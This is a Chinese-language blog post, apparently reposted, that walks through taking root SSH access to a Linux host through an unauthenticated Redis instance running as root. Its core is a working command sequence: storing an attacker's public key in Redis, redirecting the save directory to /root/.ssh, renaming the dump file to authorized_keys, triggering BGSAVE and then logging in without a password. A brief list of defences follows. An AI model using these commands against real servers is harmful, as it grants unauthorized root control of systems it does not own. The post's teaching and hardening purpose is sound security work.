利用redis入侵Linux的案例 <--cookz


利用Redis远程入侵Linux

前提条件:
1.redis以root用户运行
2.redis允许远程登陆
3.redis没有设置密码或者密码简单

入侵原理:
1.本质是利用了redis的热更新配置,可以动态的设置数据持久化的路径和持久化文件名称
2.首先攻击者可以远程登陆redis,然后将攻击者的ssh公钥当作一个key存入redis里
3.利用动态修改配置,将持久化目录保存成/root/.ssh
4.利用动态修改配置,将持久化文件名更改为authorized_keys
5.执行数据保存命令,这样就会在生成/root/,ssh/authorized_keys文件
6.而这个文件里包含了攻击者的密钥,所以此时攻击者可以免密登陆远程的服务器了

实验步骤:

1.生成密钥

[root@db02 ~/.ssh]# ssh-keygen

2.将密钥保存成文件

[root@db02 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub ;echo -e "\n") > ssh_key
[root@db02 ~]# cat ssh_key

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH5vHJTq1UPP1YqzNUIfpXgWp5MV/hTzXStnT/JlusMG8/8DI2WYpbM20Pag5VlYKO8vA7Mn0ZbMmbpHUMOHLKmXK0y4k0bkYoSPTwbxP4a4paPLF50d+LRazqNq+P2RTnn7P9pG0kdSmpwDgcD32JjMJ7zxLFVbtsuOPfUHpnkvoI8967JC9kw/FH4CifZ+yyAneMxyqFstfKRPqUK0lwA/D5UuD4B4gv4WO6hu1bctHtI8qbIfSmHCgBrCG4qW+Xw1OWDimCLUwKUFW99RfVhzfmm9pTes+2twuf7wFK06LZVzcmfaXt43SFNLcVMMTn4RX0tzZyqVGYFtn94sOn root@db02

3.将密钥写入redis

[root@db02 ~]# cat ssh_key |redis-cli -h 10.0.0.51 -x set ssh_key
OK

4.登陆redis动态修改配置并保存

[root@db02 ~]# redis-cli -h 10.0.0.51
10.0.0.51:6379> CONFIG set dir /root/.ssh
OK
10.0.0.51:6379> CONFIG set dbfilename authorized_keys
OK
10.0.0.51:6379> BGSAVE
Background saving started

5.被攻击的机器查看是否生成文件

[root@db01 ~]# cat .ssh/authorized_keys

6.入侵者查看是否可以登陆

[root@db02 ~]# ssh 10.0.0.51
Last login: Wed Jun 24 23:00:14 2020 from 10.0.0.52
[root@db01 ~]#

此时可以发现,已经可以免密登陆了。

7.如何防范

1.以普通用户启动redis,这样就没有办法在/root/目录下创建数据
2.设置复杂的密码
3.不要监听所有端口,只监听内网地址
4.禁用动态修改配置的命令和危险命令
5.做好监控和数据备份

工作上大家可以检查下自己的redis是否没有做好防护


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM